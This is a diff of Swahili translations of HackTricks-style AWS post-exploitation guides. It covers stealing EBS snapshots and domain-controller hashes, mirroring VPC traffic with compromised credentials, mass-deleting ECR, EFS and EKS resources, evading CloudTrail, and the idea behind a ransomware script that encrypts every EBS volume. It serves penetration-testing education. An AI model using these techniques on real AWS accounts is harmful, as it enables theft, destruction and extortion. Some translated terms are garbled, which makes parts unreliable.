Hii ni script ya python inayotumika. Inachukua AWS creds kwa akaunti ya 'mwathirika' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakaotumika kwa ajili ya ufichaji. Script itafanya nakala zilizofichwa za EBS volumes ZOTE zinazopatikana zilizounganishwa kwa EC2 instances ZOTE katika akaunti ya AWS iliyolengwa, kisha itasimamisha kila EC2 instance, kuondoa EBS volumes za awali, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itawaacha EBS volumes zilizofichwa pekee katika akaunti ya 'mwathirika' iliyolengwa. TUMIA SCRIPT HII KATIKA KIZAZI CHA MAJARIBIO TU, NI YA KUHARIBU NA ITAFUTA EBS VOLUMES ZOTE ZA AWALI. Unaweza kuzirejesha kwa kutumia ufunguo wa KMS ulitumika na kuzirudisha katika hali yao ya awali kupitia snapshots, lakini nataka tu kukufahamisha kuwa hii ni PoC ya ransomware mwishoni mwa siku.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
|
||||
@@ -32,7 +32,7 @@ make docker/build
|
||||
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
|
||||
```
|
||||
> [!CAUTION]
|
||||
> **Kumbuka** kwamba `dsnap` haitakuruhusu kupakua picha za umma. Ili kuzunguka hili, unaweza kufanya nakala ya picha hiyo katika akaunti yako binafsi, na kupakua hiyo:
|
||||
> **Kumbuka** kwamba `dsnap` haitakuruhusu kupakua snapshots za umma. Ili kuzunguka hili, unaweza kufanya nakala ya snapshot katika akaunti yako binafsi, na kupakua hiyo:
|
||||
```bash
|
||||
# Copy the snapshot
|
||||
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
|
||||
@@ -54,47 +54,47 @@ Unaweza kufanya hivi na Pacu ukitumia moduli [ebs\_\_download_snapshots](https:/
|
||||
```bash
|
||||
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
|
||||
```
|
||||
**Mount it in a EC2 VM under your control** (inapaswa kuwa katika eneo moja na nakala ya nakala ya akiba):
|
||||
**Iweke kwenye VM ya EC2 chini ya udhibiti wako** (lazima iwe katika eneo moja na nakala ya nakala ya akiba):
|
||||
|
||||
Step 1: Hifadhi mpya ya ukubwa na aina unayopendelea inapaswa kuundwa kwa kuelekea EC2 –> Volumes.
|
||||
Hatua ya 1: Kiasi kipya cha ukubwa na aina unayopendelea kinapaswa kuundwa kwa kuelekea EC2 –> Volumes.
|
||||
|
||||
Ili uweze kufanya hatua hii, fuata amri hizi:
|
||||
|
||||
- Unda hifadhi ya EBS kuunganisha na mfano wa EC2.
|
||||
- Hakikisha kuwa hifadhi ya EBS na mfano ziko katika eneo moja.
|
||||
- Unda kiasi cha EBS kuunganisha na mfano wa EC2.
|
||||
- Hakikisha kwamba kiasi cha EBS na mfano viko katika eneo moja.
|
||||
|
||||
Step 2: Chaguo la "attach volume" linapaswa kuchaguliwa kwa kubonyeza kulia kwenye hifadhi iliyoundwa.
|
||||
Hatua ya 2: Chaguo la "unganishi kiasi" linapaswa kuchaguliwa kwa kubonyeza kulia kwenye kiasi kilichoundwa.
|
||||
|
||||
Step 3: Mfano kutoka kwenye kisanduku cha maandiko ya mfano unapaswa kuchaguliwa.
|
||||
Hatua ya 3: Mfano kutoka kwenye kisanduku cha maandiko ya mfano unapaswa kuchaguliwa.
|
||||
|
||||
Ili uweze kufanya hatua hii, tumia amri ifuatayo:
|
||||
|
||||
- Unganisha hifadhi ya EBS.
|
||||
- Unganisha kiasi cha EBS.
|
||||
|
||||
Step 4: Ingia kwenye mfano wa EC2 na orodhesha diski zinazopatikana kwa kutumia amri `lsblk`.
|
||||
Hatua ya 4: Ingia kwenye mfano wa EC2 na orodhesha diski zinazopatikana kwa kutumia amri `lsblk`.
|
||||
|
||||
Step 5: Angalia kama hifadhi ina data yoyote kwa kutumia amri `sudo file -s /dev/xvdf`.
|
||||
Hatua ya 5: Angalia kama kiasi kina data yoyote kwa kutumia amri `sudo file -s /dev/xvdf`.
|
||||
|
||||
Ikiwa matokeo ya amri hapo juu yanaonyesha "/dev/xvdf: data", inamaanisha kuwa hifadhi ni tupu.
|
||||
Ikiwa matokeo ya amri hapo juu yanaonyesha "/dev/xvdf: data", inamaanisha kwamba kiasi ni tupu.
|
||||
|
||||
Step 6: Fanya hifadhi kuwa mfumo wa faili wa ext4 kwa kutumia amri `sudo mkfs -t ext4 /dev/xvdf`. Vinginevyo, unaweza pia kutumia muundo wa xfs kwa kutumia amri `sudo mkfs -t xfs /dev/xvdf`. Tafadhali kumbuka kuwa unapaswa kutumia ama ext4 au xfs.
|
||||
Hatua ya 6: Fanya muundo wa kiasi kwa mfumo wa faili wa ext4 kwa kutumia amri `sudo mkfs -t ext4 /dev/xvdf`. Vinginevyo, unaweza pia kutumia muundo wa xfs kwa kutumia amri `sudo mkfs -t xfs /dev/xvdf`. Tafadhali kumbuka kwamba unapaswa kutumia ama ext4 au xfs.
|
||||
|
||||
Step 7: Unda saraka ya uchaguzi wako ili kuunganisha hifadhi mpya ya ext4. Kwa mfano, unaweza kutumia jina "newvolume".
|
||||
Hatua ya 7: Unda saraka ya uchaguzi wako ili kuunganisha kiasi kipya cha ext4. Kwa mfano, unaweza kutumia jina "newvolume".
|
||||
|
||||
Ili uweze kufanya hatua hii, tumia amri `sudo mkdir /newvolume`.
|
||||
|
||||
Step 8: Unganisha hifadhi kwenye saraka ya "newvolume" kwa kutumia amri `sudo mount /dev/xvdf /newvolume/`.
|
||||
Hatua ya 8: Unganisha kiasi kwenye saraka ya "newvolume" kwa kutumia amri `sudo mount /dev/xvdf /newvolume/`.
|
||||
|
||||
Step 9: Badilisha saraka hadi saraka ya "newvolume" na angalia nafasi ya diski ili kuthibitisha kuunganisha hifadhi.
|
||||
Hatua ya 9: Badilisha saraka hadi saraka ya "newvolume" na angalia nafasi ya diski ili kuthibitisha muunganisho wa kiasi.
|
||||
|
||||
Ili uweze kufanya hatua hii, tumia amri zifuatazo:
|
||||
|
||||
- Badilisha saraka hadi `/newvolume`.
|
||||
- Angalia nafasi ya diski kwa kutumia amri `df -h .`. Matokeo ya amri hii yanapaswa kuonyesha nafasi ya bure katika saraka ya "newvolume".
|
||||
|
||||
Unaweza kufanya hivi na Pacu ukitumia moduli `ebs__explore_snapshots`.
|
||||
Unaweza kufanya hivi na Pacu kwa kutumia moduli `ebs__explore_snapshots`.
|
||||
|
||||
## Checking a snapshot in AWS (using cli)
|
||||
## Kuangalia nakala katika AWS (ukitumia cli)
|
||||
```bash
|
||||
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
|
||||
|
||||
@@ -122,7 +122,7 @@ ls /mnt
|
||||
```
|
||||
## Shadow Copy
|
||||
|
||||
Mtu yeyote wa AWS mwenye ruhusa ya **`EC2:CreateSnapshot`** anaweza kuiba hash za watumiaji wote wa kikoa kwa kuunda **snapshot ya Domain Controller** na kuikamilisha kwenye mfano wanaodhibiti na **kutoa faili ya NTDS.dit na SYSTEM** registry hive kwa matumizi na mradi wa Impacket's secretsdump.
|
||||
Mtu yeyote wa AWS mwenye ruhusa ya **`EC2:CreateSnapshot`** anaweza kuiba hash za watumiaji wote wa domain kwa kuunda **snapshot ya Domain Controller** na kuikamilisha kwenye mfano wanaodhibiti na **kutoa faili ya NTDS.dit na SYSTEM** registry hive kwa matumizi na mradi wa Impacket's secretsdump.
|
||||
|
||||
Unaweza kutumia chombo hiki kuendesha shambulio: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) au unaweza kutumia moja ya mbinu za awali baada ya kuunda snapshot.
|
||||
|
||||
|
||||
@@ -4,12 +4,12 @@
|
||||
|
||||
**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
|
||||
|
||||
Ukaguzi wa mtandao wa passiv katika mazingira ya wingu umekuwa **mgumu**, ukihitaji mabadiliko makubwa ya usanidi ili kufuatilia trafiki ya mtandao. Hata hivyo, kipengele kipya kinachoitwa “**VPC Traffic Mirroring**” kimeanzishwa na AWS ili kurahisisha mchakato huu. Kwa VPC Traffic Mirroring, trafiki ya mtandao ndani ya VPCs inaweza **kurudiwa** bila kufunga programu yoyote kwenye mifano yenyewe. Trafiki hii iliyorudiwa inaweza kutumwa kwa mfumo wa kugundua uvamizi wa mtandao (IDS) kwa **uchambuzi**.
|
||||
Ukaguzi wa mtandao wa passiv katika mazingira ya wingu umekuwa **mgumu**, ukihitaji mabadiliko makubwa ya usanidi ili kufuatilia trafiki ya mtandao. Hata hivyo, kipengele kipya kinachoitwa “**VPC Traffic Mirroring**” kimeanzishwa na AWS ili kurahisisha mchakato huu. Kwa VPC Traffic Mirroring, trafiki ya mtandao ndani ya VPCs inaweza **kudhibitishwa** bila kufunga programu yoyote kwenye mifano yenyewe. Trafiki hii iliyodhibitishwa inaweza kutumwa kwa mfumo wa kugundua uvamizi wa mtandao (IDS) kwa **uchambuzi**.
|
||||
|
||||
Ili kukabiliana na hitaji la **kujiendesha kiotomatiki** kwa miundombinu inayohitajika kwa ajili ya kurudiwa na kuhamasisha trafiki ya VPC, tumetengeneza skripti ya uthibitisho wa dhana inayoitwa “**malmirror**”. Skripti hii inaweza kutumika na **akidi za AWS zilizovunjwa** kuweka kurudiwa kwa mifano yote inayoungwa mkono ya EC2 katika VPC lengwa. Ni muhimu kutambua kwamba VPC Traffic Mirroring inasaidiwa tu na mifano ya EC2 inayotumiwa na mfumo wa AWS Nitro, na lengo la VPC mirror lazima liwe ndani ya VPC hiyo hiyo kama wenyeji waliorudiwa.
|
||||
Ili kukabiliana na hitaji la **kupelekwa kiotomatiki** kwa miundombinu inayohitajika kwa ajili ya kudhibitisha na kuhamasisha trafiki ya VPC, tumetengeneza skripti ya uthibitisho wa dhana inayoitwa “**malmirror**”. Skripti hii inaweza kutumika na **akidi za AWS zilizovunjwa** kuweka kudhibitisha kwa mifano yote inayoungwa mkono ya EC2 katika VPC lengwa. Ni muhimu kutambua kwamba VPC Traffic Mirroring inasaidiwa tu na mifano ya EC2 inayotumiwa na mfumo wa AWS Nitro, na lengo la VPC mirror lazima liwe ndani ya VPC hiyo hiyo na wenyeji waliodhibitishwa.
|
||||
|
||||
**Athari** za kurudiwa kwa trafiki ya VPC yenye uharibifu zinaweza kuwa kubwa, kwani inawawezesha washambuliaji kupata **habari nyeti** zinazotumwa ndani ya VPCs. **Uwezekano** wa kurudiwa kwa namna hiyo yenye uharibifu ni mkubwa, ukizingatia uwepo wa **trafiki ya maandiko wazi** inayopita kupitia VPCs. Makampuni mengi hutumia protokali za maandiko wazi ndani ya mitandao yao ya ndani kwa **sababu za utendaji**, wakidhani kwamba mashambulizi ya jadi ya mtu katikati hayawezekani.
|
||||
**Athari** za kudhibitisha trafiki ya VPC kwa njia mbaya zinaweza kuwa kubwa, kwani inawawezesha washambuliaji kupata **habari nyeti** zinazotumwa ndani ya VPCs. **Uwezekano** wa kudhibitisha mbaya kama hii ni mkubwa, ukizingatia uwepo wa **trafiki ya maandiko wazi** inayopita kupitia VPCs. Makampuni mengi hutumia protokali za maandiko wazi ndani ya mitandao yao ya ndani kwa **sababu za utendaji**, wakidhani kwamba mashambulizi ya jadi ya mtu katikati hayawezekani.
|
||||
|
||||
Kwa maelezo zaidi na ufikiaji wa [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), inaweza kupatikana kwenye **GitHub repository** yetu. Skripti hii inaweka kiotomatiki na kuharakisha mchakato, ikifanya iwe **haraka, rahisi, na inayoweza kurudiwa** kwa madhumuni ya utafiti wa mashambulizi.
|
||||
Kwa maelezo zaidi na ufikiaji wa [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), inaweza kupatikana kwenye **GitHub repository** yetu. Skripti hii inafanya mchakato kuwa wa kiotomatiki na rahisi, ikifanya iwe **haraka, rahisi, na inayoweza kurudiwa** kwa madhumuni ya utafiti wa mashambulizi.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -46,7 +46,7 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Baada ya kupakua picha, unapaswa **kuzikagua kwa habari nyeti**:
|
||||
Baada ya kupakua picha, unapaswa **kuziangalia kwa taarifa nyeti**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
@@ -54,7 +54,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Mshambuliaji mwenye ruhusa yoyote kati ya hizi anaweza **kuunda au kubadilisha sera ya mzunguko ili kufuta picha zote katika hifadhi** na kisha **kufuta hifadhi nzima ya ECR**. Hii itasababisha kupoteza picha zote za kontena zilizohifadhiwa katika hifadhi.
|
||||
Mshambuliaji mwenye mojawapo ya ruhusa hizi anaweza **kuunda au kubadilisha sera ya mzunguko ili kufuta picha zote katika hifadhi** na kisha **kufuta hifadhi nzima ya ECR**. Hii itasababisha kupoteza picha zote za kontena zilizohifadhiwa katika hifadhi.
|
||||
```bash
|
||||
bashCopy code# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
|
||||
@@ -13,32 +13,32 @@ Kwa maelezo zaidi angalia:
|
||||
### Host IAM Roles
|
||||
|
||||
Katika ECS, **IAM role inaweza kupewa kazi** inayokimbia ndani ya kontena. **Ikiwa** kazi inakimbia ndani ya **EC2** instance, **EC2 instance** itakuwa na **IAM** role nyingine iliyounganishwa nayo.\
|
||||
Hii inamaanisha kwamba ikiwa utaweza **kudhoofisha** instance ya ECS unaweza kupata **IAM role inayohusiana na ECR na EC2 instance**. Kwa maelezo zaidi kuhusu jinsi ya kupata akreditivu hizo angalia:
|
||||
Hii inamaanisha kwamba ikiwa utaweza **kudukua** instance ya ECS unaweza kupata **IAM role inayohusiana na ECR na EC2 instance**. Kwa maelezo zaidi kuhusu jinsi ya kupata akreditivu hizo angalia:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Kumbuka kwamba ikiwa EC2 instance inatekeleza IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kipimo cha hop cha 1**, na kufanya iwe vigumu kufikia metadata ya EC2 kutoka kwa kontena ndani ya EC2 instance.
|
||||
> Kumbuka kwamba ikiwa EC2 instance inatekeleza IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **hop limit ya 1**, na kufanya iwe vigumu kufikia metadata ya EC2 kutoka kwa kontena ndani ya EC2 instance.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Lakini zaidi ya hayo, EC2 inatumia docker kuendesha kazi za EC, hivyo ikiwa unaweza kutoroka hadi node au **kupata ufikiaji wa docker socket**, unaweza **kuangalia** ni **kontena gani nyingine** zinazoendesha, na hata **kuingia ndani yao** na **kuchukua IAM roles** zao zilizounganishwa.
|
||||
Lakini zaidi ya hayo, EC2 inatumia docker kuendesha kazi za EC, hivyo ikiwa unaweza kutoroka hadi node au **kupata ufikiaji wa docker socket**, unaweza **kuangalia** ni **kontena gani nyingine** zinazoendesha, na hata **kuingia ndani yao** na **kudukua IAM roles** zao zilizounganishwa.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Zaidi ya hayo, **EC2 instance role** kwa kawaida itakuwa na **idhini** za kutosha **kupdate hali ya instance ya kontena** za EC2 zinazotumika kama nodes ndani ya klasta. Mshambuliaji anaweza kubadilisha **hali ya instance kuwa DRAINING**, kisha ECS it **aondoe kazi zote kutoka kwake** na zile zinazokimbia kama **REPLICA** zita **kimbia katika instance tofauti,** labda ndani ya **instance ya mshambuliaji** ili aweze **kuchukua IAM roles** zao na taarifa nyeti zinazoweza kuwa ndani ya kontena.
|
||||
Zaidi ya hayo, **EC2 instance role** kwa kawaida itakuwa na **idhini** ya kutosha **kupdate hali ya instance ya kontena** za EC2 zinazotumika kama nodes ndani ya klasta. Mshambuliaji anaweza kubadilisha **hali ya instance kuwa DRAINING**, kisha ECS it **ondoe kazi zote kutoka kwake** na zile zinazokimbia kama **REPLICA** zita **kimbia katika instance tofauti,** labda ndani ya **instance ya mshambuliaji** ili aweze **kudukua IAM roles** zao na taarifa nyeti zinazoweza kuwa ndani ya kontena.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Ile ile mbinu inaweza kufanywa kwa **kuondoa EC2 instance kutoka kwa klasta**. Hii inawezekana kuwa na ufanisi mdogo lakini it **lazimisha kazi kufanywa katika instances nyingine:**
|
||||
Teknolojia hiyo hiyo inaweza kufanywa kwa **kuondoa EC2 instance kutoka kwa klasta**. Hii inaweza kuwa na ufanisi mdogo lakini it **lazimisha kazi kufanywa katika instances nyingine:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Njia ya mwisho ya kulazimisha utekelezaji wa kazi tena ni kwa kuashiria ECS kwamba **kazi au kontena ilisimamishwa**. Kuna API 3 zinazoweza kutumika kufanya hivi:
|
||||
Njia ya mwisho ya kulazimisha upya utekelezaji wa kazi ni kwa kuashiria ECS kwamba **kazi au kontena ilisimamishwa**. Kuna API 3 zinazoweza kutumika kufanya hivi:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -52,6 +52,6 @@ aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Pora taarifa nyeti kutoka kwa kontena za ECR
|
||||
|
||||
Kesi ya EC2 huenda pia ikawa na ruhusa `ecr:GetAuthorizationToken` inayoruhusu **kupakua picha** (unaweza kutafuta taarifa nyeti ndani yao).
|
||||
Kipande cha EC2 kinaweza pia kuwa na ruhusa `ecr:GetAuthorizationToken` inayoruhusu **kupakua picha** (unaweza kutafuta taarifa nyeti ndani yao).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -16,7 +16,7 @@ Mshambuliaji anaweza kufuta lengo la kuunganisha, ambayo inaweza kuathiri upatik
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Kuathiriwa kwa ufikiaji wa mfumo wa faili na kupoteza data kwa watumiaji au programu.
|
||||
**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa ufikiaji wa mfumo wa faili na kupoteza data kwa watumiaji au programu.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
@@ -32,7 +32,7 @@ Mshambuliaji anaweza kuboresha mali za mfumo wa faili wa EFS, kama vile njia ya
|
||||
```sql
|
||||
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Kupungua kwa utendaji wa mfumo wa faili au matumizi ya rasilimali kupita kiasi.
|
||||
**Madhara Yanayoweza Kutokea**: Kupungua kwa utendaji wa mfumo wa faili au ukosefu wa rasilimali.
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` na `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
@@ -41,6 +41,6 @@ Mshambuliaji anaweza kuunda au kufuta maeneo ya ufikiaji, kubadilisha udhibiti w
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mfumo wa faili, kufichuliwa au mabadiliko ya data.
|
||||
**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mfumo wa faili, kufichuliwa au mabadiliko ya data.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia
|
||||
|
||||
### Tambua klasta kutoka kwa AWS Console
|
||||
|
||||
Ikiwa una ruhusa **`eks:AccessKubernetesApi`** unaweza **kuona vitu vya Kubernetes** kupitia AWS EKS console ([Jifunze zaidi](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
Ikiwa una ruhusa **`eks:AccessKubernetesApi`** unaweza **kuona vitu vya Kubernetes** kupitia AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Unganisha na AWS Kubernetes Cluster
|
||||
|
||||
@@ -21,7 +21,7 @@ Ikiwa una ruhusa **`eks:AccessKubernetesApi`** unaweza **kuona vitu vya Kubernet
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Si rahisi sana:
|
||||
- Si njia rahisi:
|
||||
|
||||
Ikiwa unaweza **kupata token** kwa **`aws eks get-token --name <cluster_name>`** lakini huna ruhusa ya kupata taarifa za klasta (describeCluster), unaweza **kuandaa `~/.kube/config` yako mwenyewe**. Hata hivyo, ukiwa na token, bado unahitaji **url endpoint ya kuungana** (ikiwa umeweza kupata token ya JWT kutoka kwa pod soma [hapa](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) na **jina la klasta**.
|
||||
|
||||
@@ -72,33 +72,33 @@ provideClusterInfo: false
|
||||
|
||||
### Kutoka AWS hadi Kubernetes
|
||||
|
||||
Mwandishi wa **EKS cluster** daima atakuwa na uwezo wa kuingia kwenye sehemu ya kundi la kubernetes **`system:masters`** (k8s admin). Wakati wa kuandika hii, hakuna **njia ya moja kwa moja** ya kubaini **nani aliumba** kundi hilo (unaweza kuangalia CloudTrail). Na hakuna **njia** ya **kuondoa** hiyo **haki**.
|
||||
Mwandishi wa **EKS cluster** daima atakuwa na uwezo wa kuingia kwenye sehemu ya kundi la **`system:masters`** (k8s admin). Wakati wa kuandika hii, hakuna **njia ya moja kwa moja** ya kubaini **nani aliumba** kundi hilo (unaweza kuangalia CloudTrail). Na hakuna **njia** ya **kuondoa** hiyo **haki**.
|
||||
|
||||
Njia ya kutoa **ufikiaji kwa K8s kwa watumiaji au majukumu mengine ya AWS IAM** ni kutumia **configmap** **`aws-auth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Hivyo, mtu yeyote mwenye **ufikiaji wa kuandika** kwenye ramani ya config **`aws-auth`** ataweza **kuathiri kundi zima**.
|
||||
> Hivyo, mtu yeyote mwenye **ufikiaji wa kuandika** kwenye ramani ya config **`aws-auth`** ataweza **kuharibu kundi zima**.
|
||||
|
||||
Kwa maelezo zaidi kuhusu jinsi ya **kutoa haki za ziada kwa majukumu na watumiaji wa IAM** katika **akaunti sawa au tofauti** na jinsi ya **kuitumia** hii [**privesc angalia ukurasa huu**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
Kwa maelezo zaidi kuhusu jinsi ya **kutoa haki za ziada kwa majukumu na watumiaji wa IAM** katika **akaunti sawa au tofauti** na jinsi ya **kudhulumu** hii [**privesc angalia ukurasa huu**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Angalia pia [**hii nzuri**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post ili kujifunza jinsi uthibitishaji IAM -> Kubernetes unavyofanya kazi**.
|
||||
Angalia pia [**hii nzuri**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post ili kujifunza jinsi uthibitisho wa IAM -> Kubernetes unavyofanya kazi**.
|
||||
|
||||
### Kutoka Kubernetes hadi AWS
|
||||
|
||||
Inawezekana kuruhusu **uthibitishaji wa OpenID kwa akaunti ya huduma ya kubernetes** ili kuwapa uwezo wa kuchukua majukumu katika AWS. Jifunze jinsi [**hii inavyofanya kazi kwenye ukurasa huu**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
Inawezekana kuruhusu **uthibitisho wa OpenID kwa akaunti ya huduma ya kubernetes** ili kuwawezesha kuchukua majukumu katika AWS. Jifunze jinsi [**hii inavyofanya kazi katika ukurasa huu**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### PATA Api Server Endpoint kutoka kwa JWT Token
|
||||
|
||||
Kufungua token ya JWT tunapata kitambulisho cha kundi & pia eneo.  Kujua kwamba muundo wa kawaida wa URL ya EKS ni
|
||||
Kwa kufungua token ya JWT tunapata kitambulisho cha kundi & pia eneo.  Kujua kwamba muundo wa kawaida wa URL ya EKS ni
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Haukuweza kupata hati yoyote inayofafanua vigezo vya 'herufi mbili' na 'nambari'. Lakini nikifanya majaribio kwa niaba yangu naona zinajirudia hizi:
|
||||
Sijapata hati yoyote inayofafanua vigezo vya 'herufi mbili' na 'nambari'. Lakini nikifanya majaribio kwa niaba yangu, naona hizi zikijirudia:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
Hata hivyo ni herufi 3 tu tunaweza kuzishambulia kwa nguvu. Tumia skripti iliyo hapa chini kwa ajili ya kuunda orodha
|
||||
Hata hivyo, ni herufi 3 tu tunaweza kuzivunja. Tumia script iliyo hapa chini kutengeneza orodha.
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
@@ -123,20 +123,20 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
|
||||
|
||||
### Kupita CloudTrail
|
||||
|
||||
Ikiwa mshambuliaji anapata akreditivu za AWS zenye **idhini juu ya EKS**. Ikiwa mshambuliaji anapanga **`kubeconfig`** yake mwenyewe (bila kuita **`update-kubeconfig`**) kama ilivyoelezwa hapo awali, **`get-token`** haitengenezi kumbukumbu katika Cloudtrail kwa sababu haiingiliani na API ya AWS (inaunda tu token hiyo kwa ndani).
|
||||
Ikiwa mshambuliaji anapata akreditivu za AWS zenye **ruhusa juu ya EKS**. Ikiwa mshambuliaji anapanga **`kubeconfig`** yake mwenyewe (bila kuita **`update-kubeconfig`**) kama ilivyoelezwa hapo awali, **`get-token`** haitengenezi kumbukumbu katika Cloudtrail kwa sababu haiingiliani na API ya AWS (inaunda tu token hiyo kwa ndani).
|
||||
|
||||
Hivyo, wakati mshambuliaji anazungumza na klasta ya EKS, **cloudtrail haitarekodi chochote kinachohusiana na mtumiaji aliyeibiwa na kuingia**.
|
||||
|
||||
Kumbuka kwamba **klasta ya EKS inaweza kuwa na kumbukumbu zilizowezeshwa** ambazo zitaandika ufikiaji huu (ingawa, kwa kawaida, zimezimwa).
|
||||
Kumbuka kwamba **klasta ya EKS inaweza kuwa na kumbukumbu zilizoanzishwa** ambazo zitaandika ufikiaji huu (ingawa, kwa kawaida, zimezimwa).
|
||||
|
||||
### EKS Ransom?
|
||||
|
||||
Kwa kawaida, **mtumiaji au jukumu lililounda** klasta lina **DAIMA kuwa na mamlaka ya usimamizi** juu ya klasta hiyo. Na kwamba ufikiaji pekee "salama" AWS itakuwa nao juu ya klasta ya Kubernetes.
|
||||
Kwa kawaida **mtumiaji au jukumu lililounda** klasta lina **DAIMA kuwa na ruhusa za usimamizi** juu ya klasta hiyo. Na kwamba ufikiaji pekee "salama" ambao AWS itakuwa nao juu ya klasta ya Kubernetes.
|
||||
|
||||
Hivyo, ikiwa **mshambuliaji anaharibu klasta kwa kutumia fargate** na **kuondoa wasimamizi wengine wote** na **kufuta mtumiaji/jukumu la AWS lililounda** Klasta, ~~mshambuliaji anaweza kuwa **amefanya nyara klasta**~~**r**.
|
||||
Hivyo, ikiwa **mshambuliaji anaharibu klasta kwa kutumia fargate** na **kuondoa wasimamizi wengine wote** na **kufuta mtumiaji/jukumu la AWS lililounda** Klasta, ~~mshambuliaji anaweza kuwa **amechukua nyara klasta**~~**r**.
|
||||
|
||||
> [!TIP]
|
||||
> Kumbuka kwamba ikiwa klasta ilikuwa ikitumia **EC2 VMs**, inaweza kuwa inawezekana kupata mamlaka ya Usimamizi kutoka kwa **Node** na kurejesha klasta.
|
||||
> Kumbuka kwamba ikiwa klasta ilikuwa inatumia **EC2 VMs**, inaweza kuwa inawezekana kupata ruhusa za Usimamizi kutoka kwa **Node** na kurejesha klasta.
|
||||
>
|
||||
> Kwa kweli, ikiwa klasta inatumia Fargate unaweza EC2 nodes au kuhamasisha kila kitu kwenda EC2 kwenye klasta na kuirejesha kwa kufikia token katika node.
|
||||
|
||||
|
||||
